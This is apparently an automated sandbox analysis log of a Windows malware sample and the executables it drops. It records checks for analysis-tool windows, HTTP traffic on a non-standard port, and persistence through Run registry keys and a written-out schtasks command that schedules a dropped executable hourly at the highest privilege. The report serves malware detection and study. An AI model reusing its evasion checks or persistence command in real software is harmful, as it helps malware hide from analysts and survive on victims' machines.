Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window searched: window name: Regmonclass

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

File created: C:\Windows\Tasks\explorha.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 831840b410.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 831840b410.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c884f8452a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c884f8452a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50461
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50461
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50461
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50785 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50785 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50784
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50785

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
